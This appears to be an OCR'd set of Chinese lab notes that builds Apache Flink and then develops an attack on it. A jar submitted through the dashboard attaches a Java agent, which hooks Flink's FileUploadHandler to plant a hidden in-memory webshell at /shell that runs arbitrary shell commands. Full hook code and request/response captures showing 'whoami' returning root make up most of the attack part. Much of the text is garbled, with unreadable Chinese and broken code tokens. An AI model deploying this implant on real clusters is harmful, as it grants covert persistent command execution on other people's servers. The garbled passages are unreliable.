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1.88¥profile

<profile>
<id>jdk-1.8</id>
<activation>
<activeByDefault>true</activeByDefault>
<jdk>1.8</jdk>
</activation>
<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
<maven.compiler.compilerversion>1.8</maven.compiler.compilerversion>
</properties>

</profile>

2GEFHICE

<localRepository>D:\mystuffs\softwares\apache-maven-
3.9.6\repository</lTocalRepository>

3R EFMRG

<mirror>

<id>nexus-aliyun</id>

<mirrorof>central</mirrorof>

<name>Nexus aliyun</name>
<url>http://maven.aliyun.com/nexus/content/groups/pubTlic</url>
</mirror>

sEYE
https://blog.csdn.net/a1240466196/article/details/106559437/

ERan<

mvn clean install -Dcheckstyle.skip=true -DskipTests -Drat.skip=true

SERER D YRIE
RIEXHEE

IRRBEEIRIE Rbuild T —EBO R

D: \mystuffs\workspace\java\flink-release-1.17.2>mvn spotless:apply|

N FehkERs fmi%

] Total time: ©2:02 min
] Finished at: 202U-83-08T09:U45:52+08:600

REERERinstall


https://blog.csdn.net/a1240466196/article/details/106559437/

BRBEIER

] Failed to execute goal (default-compile) on project

]

XERTEXENTERR:

https://blog.csdn.net/hochenchong/article/details/103339457

FRE—TLE, #iak, F1EEF maven lRAESEF, BIXA—ITHRZA: runtime: C:\Program Files\Java\jre1.8.0_202
ﬁEL)LﬁF%%?ﬁJEEE—'F Java FUIRRZEE, LA Windows10 J9f5l

TERREE, T&E%:. JAVA_HOME, ZTE{H: C:\Program Files\Java\jdk1.8.0_202 (jdk Z3&{iHE)

WERAENRFLE Path, FER2EHIN %JAVA_HOMEY%\bin, LAK %JAVA_HOME%\jre\bin, #AjSHaERIE]

HFRRSAE, TEF: CLASSPATH, ZE(E: .;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;

BEELE, MEREJKEm

Apache Maven 3.9.6 (bcB2uU@f3cTuUldd6b6ec29260b3cd08dcc295161ae)
Maven home: D:\mystuffs\softwares\apache-maven-3.9.6

Java version: 1.8.0_202, vendor: Oracle Corporation, runtime:|C:\Program Files\Java\jdkl.8.0_202\jre
Default locale: zh_CN, platform encoding: GBK
0S name: "windows 18", version: "10.0", arch: "amdélU", family: "windows"

REBRIETEE

Flink : E2E : Streaming Kafka
Flink : E2E : Plugins :

Flink : E2E : Plugins : Dummy fs
Flink : E2E : Plugins : Another dummy fs
Flink : E2E : TPCH

Flink : E2E : Common Kafka

Flink : E2E ]

Flink : E2E : Netty shuffle memory control ...
Flink : E2E : Python

Flink : E2E ]

Flink : E2E

Flink : E2E 2

Flink : State backends ]

Flink : Contrib :

Flink : Contrib : Connectors :

Flink : FileSystems :

Flink :

Flink : Walkthrough :

Flink : Walkthrough : Common

Flink : Walkthrough : Datastream Java
Flink : Tools : CI : Java

HFOoMNOUOMNMNOFEMNMOUDWOGE -EOFHEDDOO WO

Total time: 29:32 min
] Finished at: 2024-83-08T12:06:40+08:00
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Dc 97XMuyvz3 /4133 Flink EREZESRISLREGTFE

https://tttang.com/archive/1854/#toc_apache-flink-rce-via-get-jarplan-api-endpoint //<F
HackerOne_tGrafana, jolokia, FlinkI{thFEIEFS

http://tttang.com/archive/1831/#toc_jvmtiinstrument //—#DBC AttackBIETA =, XS & T h0fE
H— N RFEFIBRSHR)ar

=RYEXRHTSE, NMHTATEHRS



https://blog.csdn.net/hochenchong/article/details/103339457
https://cloud.tencent.com/developer/article/1928851?areaSource=102001.11&traceId=YvIr9YFgMDc_97XMuyvz3
https://tttang.com/archive/1854/#toc_apache-flink-rce-via-get-jarplan-api-endpoint
http://tttang.com/archive/1831/#toc_jvmtiinstrument

HIERIARXE, BENEEHNREEME—IE: FlHagentalBHEMinkiIrhE4Netty BHEiE
tH.

REBHESTMAET T,
XEF(I/FHIDEAYTHFFlink, BEERARENFFT.
RERINFTFT

XEBEREEAINKAIIRE, thE—HR

11 centos7 FETRMRANT, FEFHK
SENE:

https://www.bilibili.com/read/cv24186125/

s~ = SIS I D 1T L U D ] e/ Ul eA— T T30

2. =i Fnmcli connection up ens160m<${E8E, #27= unmanaged

[root@compute02 network-scripts]#* nmcli connection up ens160

Error: Connection activation failed: No suitable device found for this connection (device
lo not available because device is strictly unmanaged).

HLR B EIRIM AN R

[root@compute02 network-scripts]# nmcli device status

XEHeI LSS T
[root@localhost centos]# nmcli device status
DEVICE TYPE STATE CONNECTION
virbre bridge connected virbre
ens33 ethernet disconnected -
lo loopback wunmanaged --
virbr@-nic tun unmanaged --

XERLURH, PTEHGRSZE, WREhGEET

[root@localhost centos]# nmcli connection up ens33
Connection successfully activated (D-Bus active pa
nager/ActiveConnection/2)

[root@localhost centos]# nmcli device status

: Jorg/freedesktop/NetworkMa

DEVICE TYPE STATE CONMECTION
ens33 ethernet connected ens33 —————
virbre bridge connected virbr@

lo loopback unmanaged --

virbr@-nic tun unmanaged --

ALk

AR link
T E


https://www.bilibili.com/read/cv24186125/

IGpeFtiEE log

log

SEBEIX AN confXX Sk FERYflink-conf3 {4
RIeEEZ

ch the BEST ¢ i 5 i .
# not been s fied, then th er will bind to this port as wel
-
"EEt port: EE81
# The address to which the REST client will connect to
e e | TR G 15

rver to bind to.

REST r from
contain '_ running on.

¢ To enable thi 55 to one that has a to outside-facing
network inter

.est.hind-addr.

# Flag to specify whether job submission is enabled from the web-based
# runtime monitor. Uncomment to disable,

R EXBE MR R serverfllip, IXEEFLETLAMRINERIAET .
R 5eZ fgreboot—Rserver, SARIREEXFcentosBIFEXIE



EECentOS_EXFARIKIE, FLURRIATESBIRE:
1. {EFrootEsudof[RERE|CentOSELE,

2. ¥TH&im (Terminal) RIFBERF.

3. BMAL TGS RERSRRGIAERES:

Shell [0 Copy code
1 systemctl status firewalld
WNERE7R"active (running)" TP KIBIEIZEIT; WNRER "inactive (dead)"NIFRREL X

T K.
4. ARIGHEREAPXE, JLMERLI TGS

Shell [0 Copy code

1  sudo systemctl stop firewalld

5. BEXKAXAGXEHELIEBER, JLMERLAT®HS:
Shell [0 Copy code

1 sudo systemctl disable firewalld

6. &5, EHINHsystemdECEHLIFBRENERL:
Shell [0 Copy code

1  sudo systemctl daemon-reload

7. WiE, BRKIESHSEEXRA.
TR RAMXESSERSSFEIRRENE, BNAESERR FHTIHEF, FRINE
BB MIELARE NS 2,

BakiEXA T Z/E, BRI Semiala.

<« © @ O A 19216861.132: B W @t 68 8=
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{% Apache Flink Dashboard sion: 1.17.2 Commit: c0027e5 @ 2023-11-09T1324:38+01:00  Message: @)

© Overview . .
Available Task Slots Running Jobs

i " B 0

Running Job List

Job Name Start Time. Duration End Time Tasks Status

Completed Job List

Job Name Start Time. Duration End Time. Tasks Status
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XEAFDRT—BREFT 7, BERE

atrics Configuration Logs Stdout Log List Thread Dump

et e e e s b e

at java.util.concurrent.CompletableFuture.un

1 |java.iu.:EExceptiDn: agent JaR file not found in resuur(es.l at java.util.concurrent.CompletableFutureSUi
2 at Starter.uriteAgentlar(Starter.java:73) at java.util.concurrent.CompletableFuture.po
3 at Starter.main(Starter.java:26)

4 at sun.reflect.NativeMethodAccessorImpl.invoke®(Mative Method)

5 at sun.reflect.NativeMethodAccessorImpl.invoke({NativeMethodAccessorImpl. java:62)
6

7

8

9

at java.util.concurrent.CompletableFutureSAs

o+

at javalang. Thread.run(Thread.java:750)

at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl. java:as)

at java.lang.reflect.Method.invoke(Method.java:498)

at org.apache.flink.client.program.PackagedProgram.callMainMethod({PackagedProgram.java:355)

at org.apache.flink.client.program.PackagedProgram.invokeInteractiveModeForExecution(PackagedProgram.java:222)

=1

18 at org.apache.flink.client.ClientUtils.executeProgram(ClientUtils,java:1e5)

11 at org.apache.flink.client.deployment.application.DetachedApplicationRunner.tryExecutelobs({DetachedipplicationRunner.java:s84)
12 at org.apache.flink.client.deployment.application.DetachedApplicationRunner.run(DetachedipplicationRunner.java:7@)
13 at org.apache.flink.runtime.webmonitor.handlers.JarRunHandler.lambdaghandleRequest$@(JarRunHandler.java:188)

14 at java.util.concurrent.CompletableFuturefAsyncSupply.run{CompletableFuture.java:1604)

15 at java.lang.Thread.run(Thread.java:758)

16 |java.lang.ClassHo:FDundExcep:iDn: com.sun.tools.attach.virtualMachine |

17 at java.net.URLClassloader.findClass(URLClassLoader.java:387)

18 at java.lang.Classloader.loadClass(Classloader.java:418)

19 at java.lang.Classloader.loadClass(ClassLoader.java:351)

28 at Starter.main(Starter.java:37)

21 at sun.reflect.NativeMethodAccessorImpl.invoke®(Mative Method)

22 at sun.reflect.NativeMethodAccessorImpl.invoke({NativeMethodAccessorImpl. java:62)

23 at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl. java:43)

24 at java.lang.reflect.Method.invoke(Method. java:498)

25 at org.apache.flink.client.program.PackagedProgram.callMainMethod({PackagedProgram.java:355)

26 at org.apache.flink.client.program.PackagedProgram.invokeInteractiveModeForExecution(PackagedProgram.java:222)

27 at org.apache.flink.client.ClientUtils.executeProgram(ClientUtils,java:1e5)

28 at org.apache.flink.client.deployment.application.DetachedApplicationRunner.tryExecutelobs(DetachedapplicationRunner.java:84)
29 at org.apache.flink.client.deployment.application.DetachedApplicationRunner.run(DetachedapplicationRunner.java:7@)
30 at org.apache.flink.runtime.webmonitor.handlers.JarRundandler.lambdaghandleRequest$@(JarRunHandler.java:188)

31 at java.util.concurrent.CompletableFuture$AsyncSupply.run{CompletableFuture.java:1604)

32 at java.lang.Thread.run(Thread.java:758)

il
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String Y en 0 eption {

InputStream inputStream ass() . 5 ( com/attach + agentJar);

if (inputsStr

thr

File tempFile = File.createTempFile(
tempFile.deleteOnExit();

(OutputStream outputStream =
byte[] buffer = n byte[ 15
int bytesRead;
((bytesRead = inputStream.rea
outputStream.write(buff

eturn tempFile.getAbsolutePath(

XERAILATY , R T HAEjarAYERE

REB_NIEZE

java.lang.ClassMotFoundException: com.sun.tools.attach.virtualMachine
at java.net.URLClassLoader.findClass{URLClasslLoader.java:387)
at java.lang.ClasslLoader.loadClass(ClassLoader.java:418)
at java.lang.Classloader.loadClass{ClasslLoader.java:351)
at Starter.main(Starter.java:37)
at sun.reflect.MNativeMethodAccessorImpl.invoke®{Native Method)
at sun.reflect.MativeMethodAccessorImpl.invoke{NativeMethodAccessorImpl,java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method. java:498)
at org.apache.flink.client.program.PackagedProgram.callMainMethod(PackagedProgram.java:355)

at org.apache.flink.client.program.PackagedProgram.invokeInteractiveModeForExecution(PackagedProgram.java:222)

at org.apache.flink.client.ClientUtils.executeProgram(ClientUtils,java:1e5)

at org.apache.flink.client.deployment.application.DetachedApplicationRunner.tryExecutelobs(DetachedApplicationRunner.java:s4)
at org.apache.flink.client.deployment.application.DetachedApplicationRunner.run(DetachedApplicationRunner.java:78)

at org.apache.flink.runtime.webmonitor.handlers.JarRunHandler.lambda$handleRequest$8(JarRunHandler.java:188)

at java.util.concurrent.CompletableFuture$AsyncSupply.run{CompletableFuture.java:1684)

at java.lang.Thread.run(Thread.java:75@)

FHRHIXANARE) T Tgpt



¥JF Java 8 SRR RE
1. IBRRMEAAYR JDKMAR JRE: “tools.jar’ 2 JDKH—EPS, MAR JREN—EFD. BFHIA
{FEE TR N R EFRRYR JDK,
2. 48 “tools.jar RMNEIKIEE: (FEEMR tools. jar HRIIZEHRIINFIFERFRIZEREAEH. 0
RIRERNREHS(T, aTLUXEM:

shell 0 Copy code

java -cp path/to/tools.jar;. YourApplication

SNFYRBERIRTRZ IDE (40 Intelli) IDEA B Eclipse) , {RBEEEMEIRETHRIN “tools. jar™ FR
AR .

YF Java 9 SEESHRAE

M Java 9 FFHA, “tools.jar” HIEFITH Java FIEHRWEZTHASHE. WFHXEEER, (FAE
EIL7HIN “tools. jar", {BAREERFMRAVSAEIPRISIE JDK AR,

1. iRfRERRYE IDK: R, FRMRRVIREZEaE(RRY IDE EEEEARNRZ DK BB,
2. TEAEBMERY Java RIASR, MNRIREINABEEHILE (BNER module-info.java™ X&) , {RE
ERESRSUSP R “requires ™ HHXIER:

java () Copy code

your. .name {
jdk.attach;

RIEIEINEEREF T, SINT I NAMKEE
BRENHTEE
RIUKIBHRES

1 Error opening zip file or JAR manifest missing:|!tmpfagent2268353639976232916.jar |
2 java.lang.reflect.InvocationTargetException

3 at sun.reflect.MativeMe ccessorImpl.invoke@(Native Method)

4 at sun.reflect.NativeMe essorImpl.invoke{NativeMethodAccessorImpl.java:62)

g at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:d3)
[ at java.lang.reflect.Method.invoke(Method.java:498)

7 at Starter.main{Starter

8
9

at sun.reflect.NativeMe
at sun.reflect.Nativele

essorImpl.invoke@(Native Method)
essorImpl.invoke{NativeMethodAcce

1e at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMeth

11 at java.lang.reflect.Method.invoke(Method.java:498)

12 at org.apache.flink.client.program.PackagedProgram.callMainMethod({PackagedProgram.java:355)

13 at org.apache.flink.client.program.PackagedProgram.invokeInteractiveModeForExecution({PackagedProgram.java:222)

14 at org.apache.flink.client.ClientUtils.executeProgram{ClientUtils.java:185)

15 at org.apache.flink.client.deployment.application.DetachedApplicationRunner.tryExecutelobs(DetachedApplicationRunner.java:gd)
16 at org.apache.flink.client.deployment.application.DetachedipplicationRunner.run{DetachedApplicationRunner.java:7@)
17 at org.apache.flink.runtime.webmonitor.handlers.JarRunHandler.lambda$handleRequest$8({JarRunHandler.java:188)

18 at java.util.concurrent.CompletableFuture$AsyncSupply.run{CompletableFuture.java:159@)

19 at java.lang.Thread.run(Thread.java:748)

20 Caused by: com.sun.tools.attach.AgentloadException: Agent JAR not found or no Agent-Class attribute

21 at sun.tools.attach.HotSpotVirtualMachine.loadAgent(HotSpotVirtualMachine.java:117)

22 ... 17 more

XEf T —MIATFRIEIR
EEREERANEEEER, BREENSHK T —Nare, XFEEST .
XERREHIRNCUHIT TR



InputStream inputStream = g ). "CE 1 am "J ittac + agentJar);

r

if (inputStream == null) {
throw new IOException(

File tempFile = File.createTempFile(
tempFile.d =0nExit();

ad(buffer))
bytesR

eturn tempFile.getAbsolutePath():

XN BRI
EARFGjarfHER A 2IEEIRER 1 jarfB5RAYZRA

alhost tmpl# c

ect
retransform!

[BIRREK
R IERAMEERENRIZZ, fcstarterfili—Nar, /MFARREjavay, IR

ARieBBagentBAFIBHE— Narl, ARioESstarter 2@, SAGFIFstarterBiEsk, BltmpER
T.

XEBIDEAERjar B RE RN, EARMSSI MBS, XEAT— MR EREN
SRIAEEY M, XEERIER—T

B RAER— 1 Ejar-artifacts



Mavigate Code Refactor

Recent Projects

Close Project

Close All Projects
Close Other Projects
Remote Development...
Settings...

Project Structure...

File Properties
Local History

Save All
Reload All from Disk
Repair IDE

Invalidate Caches...

Manage IDE Settings

Mew Projects Setup

Export

Power Save Mode

Exit
pOmL.XmiI

b External Libraries

Y| Project Structure
+ -8
" : Name:  agent:jar Type: < JAR

Project Settings ¢ agentjar
Project ) = : :
foles Output directory: = D:\mystuffs\workspace\java\demo1\agent\out\artifacts\agent_jar
Modules

Libraries Include in project build

Facets Output Layout Pre-processing Post-processing
Artifacts [ = oLl Available Elemants
Platform Settings

SDKs
Global Libraries Extracted 'chill-java-0.7.6.jar/ [lh Maven: com.esotericsoftware.kryo:kryo: 2.2

demo’l.jar ~ [3demol

X Extracted 'commons-cli-1.5.0.jar/" b Maven: com.esotericsoftware.minlog:minlog
Problems & Extracted 'commons-collections-3.2.2.jar/" b Maven: com.google.code.findbugs:jsr305:1

t Extracted 'commons-compress-1.21.jar/' b Maven: com.twitter:chill-java:0.7.6

X Extracted 'commons-io-2.11.0.jar/' b Maven: com.ververica:frocksdbjni:6.20.3-vd

& Extracted 'commons-lang3-3.12.0 jar/' b Maven: commaons-cli:commons-cli:1.5.0

k Extracted 'commons-math3-3.6.1.jar/' b Maven: commons-collections:commaons-

& Extracted 'commons-text-1.10.0.jar/' b Maven: commaons-io:commons-io:2.11.0

& Extracted flink-annotations-1.17.2.jar/" b Maven: org.apache.commons:commons-

t Extracted 'flink-clients-1.17.2 jar/' b Maven: org.apache.commons:commons-

t Extracted flink-connector-base-1.17.2 jar/' b Maven: org.apache.commons:commons-

 Extracted 'flink-container-1.17.2 jar/' b Maven: org.apache.commons:commons-ted

PRIEEERK




U Project

4L —
lent:jar

Project Settings

Project n
o= % JAR )
Modules . : Empty

#%* Run-time image (JLink)

b Application: Exploded From moduias with dependencies...
Application: Arc R FUSL=PIut
Artifacts e
Java EE Application: Exploded

Platform Settings

2: Java EE Application: Archive ar
Global Librari %+ EJB Application: Exploded icted 'chill-java-(
%+ EJB Application: Archive icted 'commons-cli-1.5.0.jar/"

Problems «§» JavaFx application icted 'commaons-collectior
#* Platform specific package icted ‘'commons-
% JavaFx preloader icted 'commons-
«» Other icted 'commons-|:

extracted 'commons-

Extracted 'commons-text-1.10.0.jar/*

Extracted 'flink-annotations-

EXEESF— " MANIFEST.MFH3E
AIaH S NEXD

Project Structure

lent:jar Ty
Project Settings
Project — .
. . 1Magentiou
Modules Empty

L From modules with dependencies...

Facets ; : 1yuut Fre-processing FUSL-pIoc ng
b Application: Archi - -
Artifacts g Available
. Java EE Application: Exploded Avatabia: E)
Platform Settings

D

‘Ee Java EE Application: Archive

Glabal Librari #= EJB Application: Exploded icted ‘chill-java-0.7.6 jar/'

# EJB Application: Archive icted 'commons-cli-1.5.0.jar/'
Problems % JavaFx application icted 'commons-collection

#* Platform specific package icted 'commons

#» JavaFx preloader icted 'commor

%* Other icted ‘'commeor

EX cted 'commons-matr

BEEEBEEEEEER

Extracted 'commons-text-1.10.0.jar/'

BRmeEE L, MeBE—1EXAjars4

RIEIXBREAERT AttachiFAR, FrLUXERIMANIFEST. M4SN R A RS N
Retransform/E 4



n: 1.0

s: com.attach.Agent
Can-Retransform-Cla 5 :

true

SRIEFHaFIE, BPeIiEEl—1 agent jarsyf4

~ [3agent [demo1]
[ .idea
[T out
[ artifacts
agent_jar
demo’.jar
v [Dsrc

~ [ main

Flink190
IHook
[E3 wtil
Agent
Transformer
~ [2resources

~ [OMETA-INF
[+ MANIFEST.MF

gitignore
pom.xml

b External Libraries

= Scratches and Consoles

RiEiBiXNagent.jarfe M Bstarter BE X, ARBIT—1NE



Project ~

1.0
> [O.idea -
i - : Starter
1 out
artifacts

starter_jar

[ MANIFEST.MF

agent.jar

[ target
gitignore
xmil

al Libraries

XEBBstarter3{4, MANIFESTS{HEREE(EKMain-ClassEla]
REREEEFTEAKjarBIA, FEEIT XIRAY)arSXE,
SRS SRESCEA BB

< C @ O A 19216861.132
© F

OsmEses WHzEks Demm © wwms

>
&% Apache Flink Dashboard

Uploaded Jars + Add New
Name Upload Time Entry Class /

starterjar 2024-03-11,17:21:58 Starter

XEE# FERIR], AEBSubmitigas
#£Job ManagernXB#fE—Stdouti@iti R E, TLARRASRS, XEFINTRSERNED

8 ® u 8 ¥
Oaam L
Version: : 1,172 Commit: 002765 @ 2023-11-09T13:24:38+01:00  Message:
gs  Stdout gList  Thread Dump
t: .S Lone: cl Entry ]
b Sl

XEFEMPIAFEEshell, —FFREREIMRAENIIN, TUERIZXNFE



@
O EFErrE D=Em @ S5EsE

REFREDFEN, KM TAE, EFRIGetEXK,
Bk

XEEFZIFinkpIERSF, BEXM TG

O O 192.168.61.132

RAFNARFHNRNEFER, E/FHookR R

(final ChannelHandlerContext final HttpObject msg)

if (msg instanceof HttpReguest) {

final HttpRequest httpRequest =
L0G.trace(

(HttpRequest) msg;

httpRequest.uri(),
httpRequest.method())

if (httpRequest.method().equal
if (HttpPostRequestDecode

ation

ourcemanager

FileUpload

FileUploadHandler

TIRZHYA

Request

Raw Hex
1 POST /shell HTTP/1.1
2 Host: 192.168. 61
Content-Type: application/
Content-Length: 10

form—ur lencoded

thoami

cmd

XEALIER, EREHRIERTH
BBtk multipartt& T Ti51R]

(HttpMethod.
Multipart(httpRequest)) {
D
entHttpPostRequestDecode
entHttpReque null);
; entUploadDi )
entHttpPostRequestDecoder =

== null);

new HttpPostRequestDecoder RY
entHttpRequest = Refere untUtitl.

httpRequest) ;
n(httpRequest) ;

rEndpoint.create adDir (uploadDir, LOG
entl
teDirectory(

uploadDir.resolve (UUID.rando

hannelRead(ReferenceCountUtil.retain(msg));

Response

Pretty Raw Hex

1 HTTP/1.1 404 Not Found

2 content—type: application
access—control-al low—origin:

4 connection:
content—length:

charset=UTF-8

—alive

G



Response

Pretty Raw Hex Render =

1 HTTP/1.1 200 OK

2 Content-Type: text/html
t/form—data; Connection: clo

4 content—length: 16

: form—data: name="cmd"

RED/HIIEIE T

HXBENAFEEERNESR, HE— MRS, fiTed

NRE[EAKE, SHRD%E, EXEBUERERE, BYNAEESHKMITT .
AHIMENIRATD, B EEFHT—TFF

= 7 g
1 x 2 x
ll!::z:ll Cancel < v
= =
Request Response a
Pretty lIREMWA \n Actions v Raw Render \n Actions v
1 POST /shell HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: 2 Content-Type: text/html
Content-Type: multipart/form-data; boundary=——————-- 347712004 Connection: close

-

Content-Length: 100

-

content-length: 16

o o

6 ——————— 347712004 <{pre>
7 Content-Disposition: form-data; name="cmd” root

8 7 </pre> ‘\\\\\\\\
9 whoami
10 ,,777E;;77347712004,,




Request Response
Pretty lREYM \n Actions v J5i8 Raw Render \n Actions v
1 POST /shell HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: 2 Content-Type: text/html
3 Content-Type: multipart/form-data; boundary=-------- 347712004 3 Connection: close
4 Content-Length: 102 4 content-length: 3083
9 b
6 —————————- 347712004 6 <pre>
7 Content-Disposition: form-data; name="cmd” bond0: flags=5187<UP, BROADCAST, RUNNING, MASTER, MULTICAST>
8 mtu 1500
9 v 3
00— 347712004 8 03
1 9
2 10
11
12
13 s
14
15 eml: flags=6211<UP, BROADCAST, RUNNING, SLAVE, MULTICAST>
16
17 3)
18
19 3)
20 o
21
22 em2: flags=6211<UP, BROADCAST, RUNNING, SLAVE, MULTICAST>
mtu 1500
23
24 )
25
26 1
27 i
28
29 em3: flags=4099<UP, BROADCAST, MULTICAST>

mtn 1RNN

BT, EEEEATFEEIREN T —MNEEAIshell, #LEE T FiL/s#Eshel AYa)R
PR a T
REHHERpostE

POST /shell HTTP/1.1

Host: 192.168.198.128:8081

content-Type: multipart/form-data; boundary=-------- 347712004
Content-Length: 98

---------- 347712004
Content-Disposition: form-data; name="cmd"

whoami
—————————— 347712004--

0x03 KIBEN-AFEDSRS

KEFERIEKhooks, AfFhookT ZEHH TSR — A,
XEEFARNUfgjvmtiAgentLoadi A

RIEFARAttach, tFiRiniTHRBEIDBEEH TEN.
EEE, BEKEIHOOKR,
THNKBRZESEXEXESE


af://n146

https://cloud.tencent.com/developer/article/1928851?areaSource=102001.11&traceld=YvIrOYFgM
Dc 97XMuyvz3

EBEAREE TRENRESIIAET, BREXNEM T T —EEERB R EELINGE
EbanS N agentiZB4EHISCINE

IR RiIFE

0id channelRead@(final ChannelHandlerContext ctx, final HttpObject msg)
throws Exception {

if (msg instanceof HttpRequest) {
HttpRequest httpRequest = (HttpRequest) msg;
LOG.trace(

httpRequest.uri(),
httpRequest.method());
if (httpRequest.method().equals(HttpMethod.P0ST)) {
if (HttpPostRequestDecoder Tltipart(httpRequest)) {
f:
entHttpPostRequestDecoder == null);
entHttpRequ 2
currentUploadDir == null);

entHttpPostRequestDecoder =
new HttpPostRequestDecodel
entHttpRequest = ReferenceCountUtil.retain(httpRequest)

erverEndpoint.createUploadDir (vploadDir, LOG

entUploadDir =
Files ateDi.
uploadDir.rn /e (UUID.randomUUID() .toString()));
1
x.fireChannelRead(ReferenceCountUtil.retain(msg));

FlinkiXMEMRRET, U4 EERSTREE, tHIEENHTTPIERINGRES, SIRAEEX NI,
I MIX BB FFHIRTERHE,

BT RFIAERERAIAgent

F—SRRE— HOOKIMS 5%

package com.attach.hook;
public interface IHook {

* @return FEEALHY
*/
String getMethodSource();
Vil
* @return #Hook¥ H kx4
*/
String getTargetClass();

* @return #iHook¥ Hkx /7124
*/
String getTargetMethod();
Vil
* @return #iHook (1) H b i iR i
*/
String getMethodDesc();

REBRE— I LIGE


https://cloud.tencent.com/developer/article/1928851?areaSource=102001.11&traceId=YvIr9YFgMDc_97XMuyvz3

package com.attach.hook;

import com.attach.Agent;

import org.apache.flink.shaded.netty4.io.netty.buffer.ByteBuf;

import org.apache.flink.shaded.netty4.io0.netty.buffer.unpooled;

import org.apache.flink.shaded.netty4.io.netty.channel.ChannelFuture;

import org.apache.flink.shaded.netty4.io0.netty.channel.ChannelFuturelListener;
import org.apache.flink.shaded.netty4.i0.netty.channel.cChannelHandlercContext;
import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.*;

import
org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.Attribute;
import
org.apache.flink.shaded.netty4.i0.netty.handler.codec.http.multipart.HttpPostRequ
estDecoder;

import
org.apache.flink.shaded.netty4.i0.netty.handler.codec.http.multipart.InterfaceHtt
pData;

import org.apache.flink.shaded.netty4.io.netty.util.ReferenceCountUtil;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

import java.util.Map;

import static com.attach.util.FileUtil.IS_WIN;
import static com.attach.util.FileUtil.writeMsg;
import static
org.apache.flink.shaded.netty4.i0.netty.handler.codec.http.HttpHeaders.Names.CONN
ECTION;
import static
org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpHeaders.Names.CONT
ENT_TYPE;
import static
org.apache.flink.shaded.netty4.i0.netty.handler.codec.http.Httpversion.HTTP_1_1;
public class F1ink190 implements IHook{
// public static String targetClass =
"org.apache.flink.runtime.webmonitor.HttpRequestHandler";
@override
pubTlic String getMethodSource() {
return "com.attach.hook.F1ink190.getShel11($0,%$1,%$2);";
}
@override
pubTlic String getTargetClass() {
return "org.apache.flink.runtime.rest.FileUploadHandler";
}
@override
pubTlic String getTargetMethod() {
return "channelRead0";
}
@override
pubTlic String getMethodbDesc() {
return "
(Lorg/apache/flink/shaded/netty4/io/netty/channel/ChanneTHandlercContext;Lorg/apac
he/f1ink/shaded/netty4/io/netty/handler/codec/http/Httpobject;)Vv";



}
public static void getShell(object handler,
ChannelHandlerContext ctx,
HttpObject msg
) {
/ /IR Kk java. lang.NoClassDefFoundError i, & iEHEm, Hes@mmllss .
try {
String uriSymbol = "/shell";
String cmdKey = "cmd";
if (msg instanceof HttpContent) {
System.out.printin("after msg");
Field currentDecoderField =
handler.getClass() .getDeclaredField("currentHttpPostRequestDecoder");
currentbDecoderField.setAccessible(true);
HttpPostRequestDecoder currentHttpPostRequestDecoder =
(HttpPostRequestDecoder)
currentDecoderField.get(handler);
Field currentRequestField =
handler.getClass() .getDeclaredField("currentHttpRequest");
currentRequestField.setAccessible(true);
HttpRequest currentHttpRequest = (HttpRequest)
currentRequestField.get(handler);
final HttpContent httpContent = (HttpContent) msg;
currentHttpPostRequestDecoder.offer (httpContent);
System.out.println("before uninstall");
if (currentHttpRequest.uri().startswith("/UNINSTALL")) {
if (Agent.transformer != null) {
Agent.transformer.release();

b
System.out.println("before judgeSymbol");
if (currentHttpRequest.uri().startswith(urisymbol)) {
Map<String, String> form = new HashMap<String, String>(Q);
while ChttpContent != LastHttpContent.EMPTY_LAST_CONTENT &&
currentHttpPostRequestDecoder.hasNext()) {
InterfaceHttpbData data =
currentHttpPostRequestDecoder.next();
if (data.getHttpDataType() ==
InterfaceHttpbData.HttpDataType.Attribute){
Attribute request = (Attribute) data;
form.put(request.getName(), request.getvalue());

}

String cmd = "null cmd";
if (form.containskey(cmdkey)) {
cnd = form.get(cmdKey) ;

}

for (string key : form.keySet()) {
writeMsg(key) ;

}

if (!form.containskey(cmdKey)) {
return;
3
string[] cmds = null;
if (1IS_WIN) {
cmds = new String[]{"/bin/bash", "-c", cmd};



} else {
cmds = new String[]{"cmd","/c",cmd};

3

System.out.println("before exec");

java.io.InputStream in =

Runtime.getRuntime() .exec(cmds) .getInputStream();

ByteArrayOutputStream outputStream = new
ByteArrayoOutputStream();

int a = -1;

byte[] tmp = new byte[1];

outputStream.write("<pre>".getBytes());

while((a=in.read(tmp))!=-1){

outputStream.write(tmp);

b

outputStream.write("</pre>".getBytes());

HttpRequest tmpRequest = currentHttpRequest;

getMethodinvoke(handler, "deleteUploadedFiles", null, null);

getMethodInvoke(handler, "reset", null, null);

HttpResponse response = new DefaultHttpResponse(HTTP_1_1,
HttpResponseStatus.0OK) ;

response.headers() .set (CONTENT_TYPE, "text/html");

response.headers() .set (CONNECTION, HttpHeaders.values.CLOSE);

byte[] buf = outputStream.toByteArray();

ByteBuf b = Unpooled.copiedBuffer(buf);

HttpHeaders.setContentLength(response, buf.length);

ctx.write(response);

ctx.write(b);

ChannelFuture lastContentFuture =
ctx.writeAndFlush(LastHttpContent.EMPTY_LAST_CONTENT) ;

lastContentFuture.addListener(ChannelFutureListener.CLOSE);

ReferenceCountUtil.release(tmpRequest);

}
} catch (Exception e) {
}
}
private static Object getMethodInvoke(Object object, String methodName,
Class[] parameterTypes,
Object[] args) throws Exception {
try {
Method method = getMethod(object, methodName, parameterTypes);
return method.invoke(object, args);
} catch (Exception e) {
throw new Exception(String.format("getMethodInvoke
error:%s#%s" ,object.tostring() ,methodName)) ;
}

}
private static Method getMethod(Object object, String methodName, Class<?>...

parameterTypes) throws Exception {
try {
Method method = object.getClass().getDeclaredMethod(methodName,
parameterTypes) ;
method.setAccessible(true);
return method;
} catch (Exception e) {



